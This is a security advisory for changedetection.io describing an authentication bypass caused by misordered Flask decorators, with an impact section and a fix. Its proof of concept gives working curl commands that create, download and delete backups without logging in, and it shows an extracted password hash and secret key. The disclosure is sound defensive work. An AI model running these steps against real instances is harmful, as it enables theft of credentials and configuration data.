CVE-2026-35490: changedetection.io has an Authentication Bypass via Decorator Ordering

Summary

On 13 routes across 5 blueprint files, the @loginoptionallyrequired decorator is placed before (outer to) @blueprint.route() instead of after it. In Flask, @route() must be the outermost decorator because it registers the function it receives. When the order is reversed, @route() registers the original undecorated function, and the auth wrapper is never in the call chain. This silently disables authentication on these routes.

The developer correctly uses the decorator on 30+ other routes with the proper order, making this a classic consistency gap.

Details

Correct order (used on 30+ routes): python @blueprint.route('/settings', methods=['GET']) @loginoptionallyrequired def settings(): ...

Incorrect order (13 vulnerable routes): python @loginoptionallyrequired # ← Applied to return value of @route, NOT the view @blueprint.route('/backups/download/<filename>') # ← Registers raw function def downloadbackup(filename): ...

POC === PHASE 1: Confirm Authentication is Required ===

$ curl -s -o /dev/null -w "%{httpcode}" http://127.0.0.1:5557/ Main page: HTTP 302 -> http://127.0.0.1:5557/login?next=/ $ curl -s -o /dev/null -w "%{httpcode}" http://127.0.0.1:5557/settings Settings page: HTTP 302 (auth required, redirects to login)

Password is set. Unauthenticated requests to / and /settings are properly redirected to /login.

=== PHASE 2: Authentication Bypass on Backup Routes === (All requests made WITHOUT any session cookie)

--- Exploit 1: Trigger backup creation --- $ curl -s -o /dev/null -w "%{httpcode}" http://127.0.0.1:5557/backups/request-backup Response: HTTP 302 -> http://127.0.0.1:5557/backups/ (302 redirects to /backups/ listing page, NOT to /login -- backup was created)

--- Exploit 2: List backups page --- $ curl -s -o /dev/null -w "%{httpcode}" http://127.0.0.1:5557/backups/ Response: HTTP 200

--- Exploit 3: Extract backup filenames --- $ curl -s http://127.0.0.1:5557/backups/ | grep changedetection-backup Found: changedetection-backup-20260331005425.zip

--- Exploit 4: Download backup without authentication --- $ curl -s -o /tmp/stolenbackup.zip http://127.0.0.1:5557/backups/download/changedetection-backup-20260331005425.zip Response: HTTP 200

$ file /tmp/stolenbackup.zip /tmp/stolenbackup.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

$ ls -la /tmp/stolenbackup.zip -rw-r--r-- 1 root root 92559 Mar 31 00:54 /tmp/stolenbackup.zip

$ unzip -l /tmp/stolenbackup.zip Archive: /tmp/stolenbackup.zip Length Date Time Name --------- ---------- ----- ---- 26496 2026-03-31 00:54 url-watches.json 64 2026-03-31 00:52 secret.txt 51 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/history.txt 1682 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/4b7f61d9f981b92103a6659f0d79a93e.txt.br 4395 2026-03-31 00:52 4ff247a9-0d8e-4308-8569-f6137fa76e0d/1774911131.html.br 40877 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/6b3a3023b357a0ea25fc373c7e358ce2.txt.br 51 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/history.txt 40877 2026-03-31 00:52 c8d85001-19d1-47a1-a8dc-f45876789215/1774911131.html.br 73 2026-03-31 00:54 url-list.txt 155 2026-03-31 00:54 url-list-with-tags.txt --------- ------- 114721 10 files

--- Exploit 5: Extract sensitive data from backup --- Application password hash: pG+Bq6s4/EhsRqYZYc7kiGEG1QMd2hMuadD5qCMbSBcRIMnGTATliX/P0vFX... Watched URLs: - https://news.ycombinator.com/ (UUID: 4ff247a9...) - https://changedetection.io/CHANGELOG.txt (UUID: c8d85001...)

Flask secret key: 7cb14f56dc4f26761a22e7d35cc7b6911bfaa5e0790d2b58dadba9e529e5a4d6

--- Exploit 6: Delete all backups without auth --- $ curl -s -o /dev/null -w "%{httpcode}" http://127.0.0.1:5557/backups/remove-backups Response: HTTP 302

=== PHASE 3: Cross-Verification ===

Verify protected routes still require auth: / -> HTTP 302 (302 = protected) /settings -> HTTP 302 (302 = protected)

=== RESULTS ===

PROTECTED routes (auth required, HTTP 302 -> /login): / HTTP 302 /settings HTTP 302

BYPASSED routes (no auth needed): /backups/request-backup HTTP 302 (triggers backup creation, redirects to /backups/ not /login) /backups/ HTTP 200 (lists all backups) /backups/download/<file> HTTP 200 (downloads backup with secrets) /backups/remove-backups HTTP 302 (deletes all backups)

[+] CONFIRMED: Authentication bypass on backup routes!

Impact

- Complete data exfiltration — Backups contain all monitored URLs, notification webhook URLs (which may contain API tokens for Slack, Discord, etc.), and configuration - Backup restore = config injection — Attacker can upload a malicious backup with crafted watch configs - SSRF — Proxy check endpoint can be triggered to scan internal network - Browser session hijacking — Browser steps endpoints allow controlling Playwright sessions

Remediation

Swap the decorator order on all 13 routes. @blueprint.route() must be outermost:

python Before (VULNERABLE): @loginoptionallyrequired @blueprint.route('/backups/download/<filename>') def downloadbackup(filename):

After (FIXED): @blueprint.route('/backups/download/<filename>') @loginoptionallyrequired def downloadbackup(filename):